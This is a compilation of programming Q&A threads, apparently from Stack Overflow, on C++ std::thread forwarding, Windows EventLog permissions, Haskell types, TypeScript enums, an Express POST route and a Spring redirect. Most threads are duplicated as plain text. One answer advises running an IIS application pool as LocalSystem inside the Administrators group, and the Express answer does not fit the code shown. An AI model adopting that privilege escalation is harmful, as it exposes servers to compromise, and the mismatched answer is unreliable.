So, going one step further I have written thread wrapper class to stop using explicitly std::join() or std::detach().
Insted one of them is invoked when destructor is in action. For the simplicity of this example I have only used one of them.
So, the code looks like this:

```<code>class Th {
public:
    template <typename C,
              typename = typename std::enable_if<!std::is_member_function_pointer<C>::value, void>::type,
              typename... Args>
    Th (C&& c, Args... args) // (X)
    : t {foo<C, Args...>, std::forward<C> (c), std::forward<Args> (args)...} {}

    template <typename C,
              typename = typename std::enable_if<std::is_member_function_pointer<C>::value, void>::type,
              typename T,
              typename... Args>
    Th (C&& c, T* o, Args... args) // (Y)
    : t { foo<C, T, Args...>, std::forward<C> (c), o, std::forward<Args> (args)...} {}

    ~Th () { t.join (); }

private:
    std::thread t;
};
</code>```

And with this implementation there is no problem, the following usage cases:

```<code>X x;
Th h1 {&boo1};
Th h2 {&boo2, "Hello"};
Th h3 {&X::boo3, &x};
Th h4 {&X::boo4, &x, "Hello"};
</code>```

work as excepcted. However there is one flaw here - no perfect forwarding. If I change in (X) and (Y) Args... to Args&&... which is desired,
the code does not compile with some errors, one of them is:

```<code>error: no type named ‘type’ in ‘class std::result_of<void (*(void (*)(std::basic_string<char>), const char*))(void (*&&)(std::basic_string<char>), const char (&)[6])>’
</code>```

which if I understand it correctly, std::bind() in std::thread constructor can not do it's job, or correct me if I am wrong.

My question is: what can I do to take advantage of perfect forwarding in this case?

Compiler used to compile this was GCC 4.8.1.

Promised explanation: I want foo() functions to surround call to c() with try and catch to make sure that the exception is catched, process this information in some kind of logging mechanism, and rethrow the exception if needed with the transparency to the user of Th class.

答:
When passing lvalue references to std::thread, you need to wrap them in std::reference_wrapper. For example, you can do it in the following way:

```<code>namespace detail
{

template<typename T>
std::reference_wrapper<T> forward_to_thread(T& t, std::true_type) {
    return std::ref(t);
}

template<typename T>
T&& forward_to_thread(T&& t, std::false_type) {
    return std::move(t);
}

}

template<typename T>
auto forward_to_thread(T&& t)
    -> decltype(detail::forward_to_thread(std::forward<T>(t), std::is_lvalue_reference<T>{}))
{
    return detail::forward_to_thread(std::forward<T>(t), std::is_lvalue_reference<T>{});
}
</code>```

Then you just replace std::forward calls to forward_to_thread in thread initialization:

```<code>class Th {
public:
    template <typename C,
              typename = typename std::enable_if<!std::is_member_function_pointer<C>::value, void>::type,
              typename... Args>
    Th (C&& c, Args&&... args) // (X)
    : t {foo<C, Args...>, std::forward<C> (c), forward_to_thread<Args> (std::forward<Args>(args))...} {}

    template <typename C,
              typename = typename std::enable_if<std::is_member_function_pointer<C>::value, void>::type,
              typename T,
              typename... Args>
    Th (C&& c, T* o, Args&&... args) // (Y)
    : t { foo<C, T, Args...>, std::forward<C> (c), o, forward_to_thread<Args> (std::forward<Args>(args))...} {}

    ~Th () { t.join (); }

private:
    std::thread t;
};
</code>```

This does work with gcc 4.8.2 [link]

If you can use a newer compiler, consider using std::invoke (C++17) for more succint and readable code (i.e. this).

Body:
Let's take a look at the concrete functions first:

void boo1 () { std::cout << "boo1\n"; }
void boo2 (std::string) { std::cout << "boo2\n"; }

struct X {
    void boo3 () { std::cout << "boo3\n"; }
    void boo4 (std::string) { std::cout << "boo4\n"; }
};

I want those functions to be executed with some "guard" function, which does exception protection (explanation below). So, I have written two functions one for free functions and the other for member functions:

template <typename C, typename... Args>
typename std::enable_if<!std::is_member_function_pointer<C>::value, void>::type
foo (C&& c, Args&&... args) {
    std::cout << "not memfun\n";
    c (std::forward<Args> (args)...);
}

template <typename C, typename T, typename... Args>
typename std::enable_if<std::is_member_function_pointer<C>::value, void>::type
foo (C&& c, T* o, Args&&... args) {
    std::cout << "memfun\n";
    (o->*c) (std::forward<Args> (args)...);
}

And now I want to execute boo1(), boo2(), X::boo3() and X::boo4() in new threads but with "protection" used by foo() functions. So, without any problem I can do this with:

X x;
std::thread th1 {&foo<void (*) ()>, &boo1};
std::thread th2 {&foo<void (*) (std::string), std::string>, &boo2, "Hello"};
std::thread th3 {&foo<void (X::*) (), X>, &X::boo3, &x};
std::thread th4 {&foo<void (X::*) (std::string), X, std::string>, &X::boo4, &x, "Hello"};

So, going one step further I have written thread wrapper class to stop using explicitly std::join() or std::detach().
Insted one of them is invoked when destructor is in action. For the simplicity of this example I have only used one of them.
So, the code looks like this:

class Th {
public:
    template <typename C,
              typename = typename std::enable_if<!std::is_member_function_pointer<C>::value, void>::type,
              typename... Args>
    Th (C&& c, Args... args) // (X)
    : t {foo<C, Args...>, std::forward<C> (c), std::forward<Args> (args)...} {}

    template <typename C,
              typename = typename std::enable_if<std::is_member_function_pointer<C>::value, void>::type,
              typename T,
              typename... Args>
    Th (C&& c, T* o, Args... args) // (Y)
    : t { foo<C, T, Args...>, std::forward<C> (c), o, std::forward<Args> (args)...} {}

    ~Th () { t.join (); }

private:
    std::thread t;
};

And with this implementation there is no problem, the following usage cases:

X x;
Th h1 {&boo1};
Th h2 {&boo2, "Hello"};
Th h3 {&X::boo3, &x};
Th h4 {&X::boo4, &x, "Hello"};

work as excepcted. However there is one flaw here - no perfect forwarding. If I change in (X) and (Y) Args... to Args&&... which is desired,
the code does not compile with some errors, one of them is:

error: no type named ‘type’ in ‘class std::result_of<void (*(void (*)(std::basic_string<char>), const char*))(void (*&&)(std::basic_string<char>), const char (&)[6])>’

which if I understand it correctly, std::bind() in std::thread constructor can not do it's job, or correct me if I am wrong.

My question is: what can I do to take advantage of perfect forwarding in this case?

Compiler used to compile this was GCC 4.8.1.

Promised explanation: I want foo() functions to surround call to c() with try and catch to make sure that the exception is catched, process this information in some kind of logging mechanism, and rethrow the exception if needed with the transparency to the user of Th class.

Body:
When passing lvalue references to std::thread, you need to wrap them in std::reference_wrapper. For example, you can do it in the following way:

namespace detail
{

template<typename T>
std::reference_wrapper<T> forward_to_thread(T& t, std::true_type) {
    return std::ref(t);
}

template<typename T>
T&& forward_to_thread(T&& t, std::false_type) {
    return std::move(t);
}

}

template<typename T>
auto forward_to_thread(T&& t)
    -> decltype(detail::forward_to_thread(std::forward<T>(t), std::is_lvalue_reference<T>{}))
{
    return detail::forward_to_thread(std::forward<T>(t), std::is_lvalue_reference<T>{});
}

Then you just replace std::forward calls to forward_to_thread in thread initialization:

class Th {
public:
    template <typename C,
              typename = typename std::enable_if<!std::is_member_function_pointer<C>::value, void>::type,
              typename... Args>
    Th (C&& c, Args&&... args) // (X)
    : t {foo<C, Args...>, std::forward<C> (c), forward_to_thread<Args> (std::forward<Args>(args))...} {}

    template <typename C,
              typename = typename std::enable_if<std::is_member_function_pointer<C>::value, void>::type,
              typename T,
              typename... Args>
    Th (C&& c, T* o, Args&&... args) // (Y)
    : t { foo<C, T, Args...>, std::forward<C> (c), o, forward_to_thread<Args> (std::forward<Args>(args))...} {}

    ~Th () { t.join (); }

private:
    std::thread t;
};

This does work with gcc 4.8.2 [link]

If you can use a newer compiler, consider using std::invoke (C++17) for more succint and readable code (i.e. this).


问:
Event Log SecurityException for Web Application?
I have an app that writes messages to the event log. The source I'm passing in to EventLog.WriteEntry does not exist, so the Framework tries to create the source by adding it to the registry. It works fine if the user is an Admin by I get the following whe the user is not an admin:

"System.Security.SecurityException : Requested registry access is not allowed." message.

How can I fix that?

Update

I have create the registry with the Admin account manually in the registry. Now, I have the error : System.Security.SecurityException: Requested registry access is not allowed.

I do not understand because I have create a user in the Group Administrator... what do I have to do more?

答: Nothing of these worked out for me. What did the trick was alter the Application Pool Identity from "ApplicationPoolIdentity" to "LocalSystem". Then put LocalSystem Windows account into the Administrators group.</p>

OwnerDisplayName: Pokus

LastEditorDisplayName: Pokus


问:
type "name" = Int - is it worth declaring?
I have a function that returns the Price of a product, it currently looks like

```<code>priceOfProduct:: Int -> Int -> Int
</code>```

Is it worth declaring

```<code>type Price = Int
</code>```

so that the function becomes

```<code>priceOfProduct :: Int -> Int -> Price ?
</code>```

I thought of doing this, as I then go on to use tuples of Ints, which would maybe look better if they were their own data structure.

```<code>priceVsTaxed -> Price -> Int -> (Price, Price)
</code>```

Is this useful? Is this necessary?

Is this good Haskell style?

Is declaring a data structure that looks more like renaming an existing Data Structure good style?

答:
It's not always worth defining extra types, but definitely avoid Int -> ... -> Int signatures. These make it very hard to understand how a function is supposed to be used.

So in fact I'd say you should probably rename not only the result but in particular also the arguments. Then, if somebody wants to use your function, they can just let the compiler explain the arguments:

```<code>foo :: Price
foo = priceOfProduct _ _ + priceOfProduct _ _
</code>```

will give a compiler (GHC>=7.10) message like

```<code>Foo.hs:Y:X: error:
    • Found hole: _ :: PriceOfProductFirstArgument
    • In the first argument of ‘priceOfProduct’, namely ‘_’
      In the expression: priceOfProduct _ _
      In an equation for ‘foo’: main = foo = priceOfProduct _ _ + priceOfProduct _ _
</code>```

You should however consider if you don't want to make the type distinction more rigid: a simple typedef can never save you from putting the arguments in wrong order, so perhaps you'd better make it

```<code>newtype Price = Price {priceInEuroCents :: Int}
</code>```

That also avoids ambiguity as to what currency / quantity the price is given in.

Body:
I have a function that returns the Price of a product, it currently looks like

priceOfProduct:: Int -> Int -> Int

Is it worth declaring

type Price = Int

so that the function becomes

priceOfProduct :: Int -> Int -> Price ?

I thought of doing this, as I then go on to use tuples of Ints, which would maybe look better if they were their own data structure.

priceVsTaxed -> Price -> Int -> (Price, Price)

Is this useful? Is this necessary?

Is this good Haskell style?

Is declaring a data structure that looks more like renaming an existing Data Structure good style?

Body:
It's not always worth defining extra types, but definitely avoid Int -> ... -> Int signatures. These make it very hard to understand how a function is supposed to be used.

So in fact I'd say you should probably rename not only the result but in particular also the arguments. Then, if somebody wants to use your function, they can just let the compiler explain the arguments:

foo :: Price
foo = priceOfProduct _ _ + priceOfProduct _ _

will give a compiler (GHC>=7.10) message like

Foo.hs:Y:X: error:
    • Found hole: _ :: PriceOfProductFirstArgument
    • In the first argument of ‘priceOfProduct’, namely ‘_’
      In the expression: priceOfProduct _ _
      In an equation for ‘foo’: main = foo = priceOfProduct _ _ + priceOfProduct _ _

You should however consider if you don't want to make the type distinction more rigid: a simple typedef can never save you from putting the arguments in wrong order, so perhaps you'd better make it

newtype Price = Price {priceInEuroCents :: Int}

That also avoids ambiguity as to what currency / quantity the price is given in.


问:
What is the difference between enum and object in typescript
I am trying to access values of a map via enum and also make a translation ready app for all the strings in it.
Both concerns overlap and I have to decide between using enums or just object in JSON format.

So what exactly is the difference and useage between an enum and an object?

For example:

I can use enums to access arrays as well as inserting labels and other stuff like

const enum FieldNames {
  FirstField: "Field One",
  SecondField: "Field Two"
};

someFieldArray[FieldNames.FirstField].label = FieldNames.FirstField;
someFieldArray[FieldNames.SecondField].label = FieldNames.SecondField;```
</div>
</div>
</p>

<ul>
<li>Or I can achieve the same behaviour via object</li>
</ul>

<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>const FieldNames = {
  FirstField: "Field One",
  SecondField: "Field Two"
};

someFieldArray[FieldNames.FirstField].label = FieldNames.FirstField;
someFieldArray[FieldNames.SecondField].label = FieldNames.SecondField;</code>```

I really do not get the benefit choosing enums over simple objects. In my opinion an object has much more benefits without any downsides.

答:
```<code>function (foo: FieldNames) { }
</code>```

If FieldNames is an object, this means this function expects an instance which has the properties FirstField and SecondField. If FieldNames is an enum (in which case it should be singular, not plural), this means the function expects one of the values of FieldNames, namely "Field One" or "Field Two".

Very different usage.

Body:
I am trying to access values of a map via enum and also make a translation ready app for all the strings in it.
Both concerns overlap and I have to decide between using enums or just object in JSON format.

So what exactly is the difference and useage between an enum and an object?

For example:

I can use enums to access arrays as well as inserting labels and other stuff like

const enum FieldNames {
  FirstField: "Field One",
  SecondField: "Field Two"
};

someFieldArray[FieldNames.FirstField].label = FieldNames.FirstField;
someFieldArray[FieldNames.SecondField].label = FieldNames.SecondField;

Or I can achieve the same behaviour via object

const FieldNames = {
  FirstField: "Field One",
  SecondField: "Field Two"
};

someFieldArray[FieldNames.FirstField].label = FieldNames.FirstField;
someFieldArray[FieldNames.SecondField].label = FieldNames.SecondField;

I really do not get the benefit choosing enums over simple objects. In my opinion an object has much more benefits without any downsides.

Body:
function (foo: FieldNames) { }

If FieldNames is an object, this means this function expects an instance which has the properties FirstField and SecondField. If FieldNames is an enum (in which case it should be singular, not plural), this means the function expects one of the values of FieldNames, namely "Field One" or "Field Two".

Very different usage.


问:
Cannot post to a server in express
I have an express app that takes basic user input data. All of my get routes work fine but when submit a post request to the server I get a 404 on the url I'm posting to even though I have this page in my views folder.

app.js:

```<code>var express = require('express');
var path = require('path');
var consolidate = require('consolidate');
var bodyParser = require('body-parser');
var database = require('./database/database');
var Patient = require('./models/models').Patient;
var morgan = require('morgan');
var routes = require('./routes');
var app = express();

app.engine('html', consolidate.nunjucks);

app.set('view engine', 'html');
app.set('views', './views');

app.use(morgan('dev'));
//app.use(app.router);
app.use(routes);

app.use(bodyParser.urlencoded({ extended: false }));

app.listen(3055);

module.exports = app;
</code>```

routes/index.js:

```<code>const express = require('express');
var bodyParser = require('body-parser');
var Patient = require('../models/models').Patient;
const router = express.Router();

router.get('/', function(req, res, next){
    res.render('index.html');
});

router.post('/addsubject', function(req, res, next){
    Patient.create(req.body).then(function(patient){
        res.redirect('/profile');
    }).catch(function(err){
        if(error.name === "SequelizeValidationError"){
       } else {
       return next(err);
       }
   }).catch(function(error){
      res.send(500, error);
   });
});

router.get('/profile', function(req, res, next){
    res.render('./profile.html');
});

router.get('/addsubject', function(req, res, next){
    // .... do something here ..
});

module.exports = router;
</code>```

I have the <form action="/addsubject" method="post"> in my index.html file.

index.html:

```<code><!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>dabl Demographic</title>
  <body>
    <h2>Add Subject</h2>
      <form action="/addsubject" method="post">
        <label for="fname">First Name: </label>
        <input type="text" name="fname" id="fname">
        <br>
        <label for="sname">Second Name: </label>
        <input type="text" name="sname" id="sname">
        <br>
        <label for="dob">dob: </label>
        <input type="text" name="dob" id="dob">
        <br>
        <label for="laterality">Laterality: </label>
        <input type="text" name="laterality" id="laterality">
        <br>
        <button>Submit</button>
      </form>
  </body>
</html>
</code>```

答:
You pass wrong function (error handling function) to the POST route.

Just remove first "err" param from the function like this:

```<code>router.post('/addsubject', function(req, res, next){
</code>```

Title: Cannot post to a server in express

Body:
I have an express app that takes basic user input data. All of my get routes work fine but when submit a post request to the server I get a 404 on the url I'm posting to even though I have this page in my views folder.

app.js:

var express = require('express');
var path = require('path');
var consolidate = require('consolidate');
var bodyParser = require('body-parser');
var database = require('./database/database');
var Patient = require('./models/models').Patient;
var morgan = require('morgan');
var routes = require('./routes');
var app = express();

app.engine('html', consolidate.nunjucks);

app.set('view engine', 'html');
app.set('views', './views');

app.use(morgan('dev'));
//app.use(app.router);
app.use(routes);

app.use(bodyParser.urlencoded({ extended: false }));

app.listen(3055);

module.exports = app;

routes/index.js:

const express = require('express');
var bodyParser = require('body-parser');
var Patient = require('../models/models').Patient;
const router = express.Router();

router.get('/', function(req, res, next){
    res.render('index.html');
});

router.post('/addsubject', function(req, res, next){
    Patient.create(req.body).then(function(patient){
        res.redirect('/profile');
    }).catch(function(err){
        if(error.name === "SequelizeValidationError"){
       } else {
       return next(err);
       }
   }).catch(function(error){
      res.send(500, error);
   });
});

router.get('/profile', function(req, res, next){
    res.render('./profile.html');
});

router.get('/addsubject', function(req, res, next){
    // .... do something here ..
});

module.exports = router;

I have the <form action="/addsubject" method="post"> in my index.html file.

index.html:

<!doctype html>

    <meta charset="utf-8">
    <title>dabl Demographic</title>

Add Subject

      <form action="/addsubject" method="post">
        First Name:
        <input type="text" name="fname" id="fname">

        Second Name:
        <input type="text" name="sname" id="sname">

        dob:
        <input type="text" name="dob" id="dob">

        Laterality:
        <input type="text" name="laterality" id="laterality">

        <button>Submit</button>
      </form>

Body:
You pass wrong function (error handling function) to the POST route.

Just remove first "err" param from the function like this:

router.post('/addsubject', function(req, res, next){


问:
Invoke Spring controller method on redirect FROM jsp
So let assume I have 2 jsp files:
login.jsp and menu.jsp

Also I have two methods in the controller class:

```<code>@RequestMapping("/login")
    public void login() {
        return "login";
    }

@RequestMapping("/menu")
    public void menu() {
        List<User> allUsers = userJpaRepository.findAll();
    return new ModelAndView("allUsers", "users", allUsers);
    }
</code>```

In login.jsp

```<code><%@page import="com.markovski.database.DataBase"%>
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>

<form method="get" action="menu.jsp">
<%
    String accname = request.getParameter("uname");
    String password = request.getParameter("pass");

    if(DataBase.checkForUserCreditinals(accname, password)){
        session.setAttribute("userId", 2);

        response.sendRedirect("menu.jsp");
    } else {
        //out.println("Error");
    }

%>
</form>
</code>```

So what do I want ? When I log in I would like to be redirected to menu page, but it does not invoke menu(), which will pass all users to my menu.jsp. So it is just opening an empty /menu page. How can I redirect to menu.jsp AND INVOKE the controller method, which will give me the data that I want to display ?

答: As you are coding in Spring, I think we can stick to it than mixing jsp and Spring style. Why don't you write  a mapping for menu url and return menu.jsp from it. Also you can keep your database code as well there ( though not a good practice). You may also need to handle the login submissions as well.</p>

Body:
So let assume I have 2 jsp files:
login.jsp and menu.jsp

Also I have two methods in the controller class:

@RequestMapping("/login")
    public void login() {
        return "login";
    }

@RequestMapping("/menu")
    public void menu() {
        List<User> allUsers = userJpaRepository.findAll();
    return new ModelAndView("allUsers", "users", allUsers);
    }

In login.jsp

<%@page import="com.markovski.database.DataBase"%>
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>

<form method="get" action="menu.jsp">
<%
    String accname = request.getParameter("uname");
    String password = request.getParameter("pass");

    if(DataBase.checkForUserCreditinals(accname, password)){
        session.setAttribute("userId", 2);

        response.sendRedirect("menu.jsp");
    } else {
        //out.println("Error");
    }

%>
</form>

So what do I want ? When I log in I would like to be redirected to menu page, but it does not invoke menu(), which will pass all users to my menu.jsp. So it is just opening an empty /menu page. How can I redirect to menu.jsp AND INVOKE the controller method, which will give me the data that I want to display ?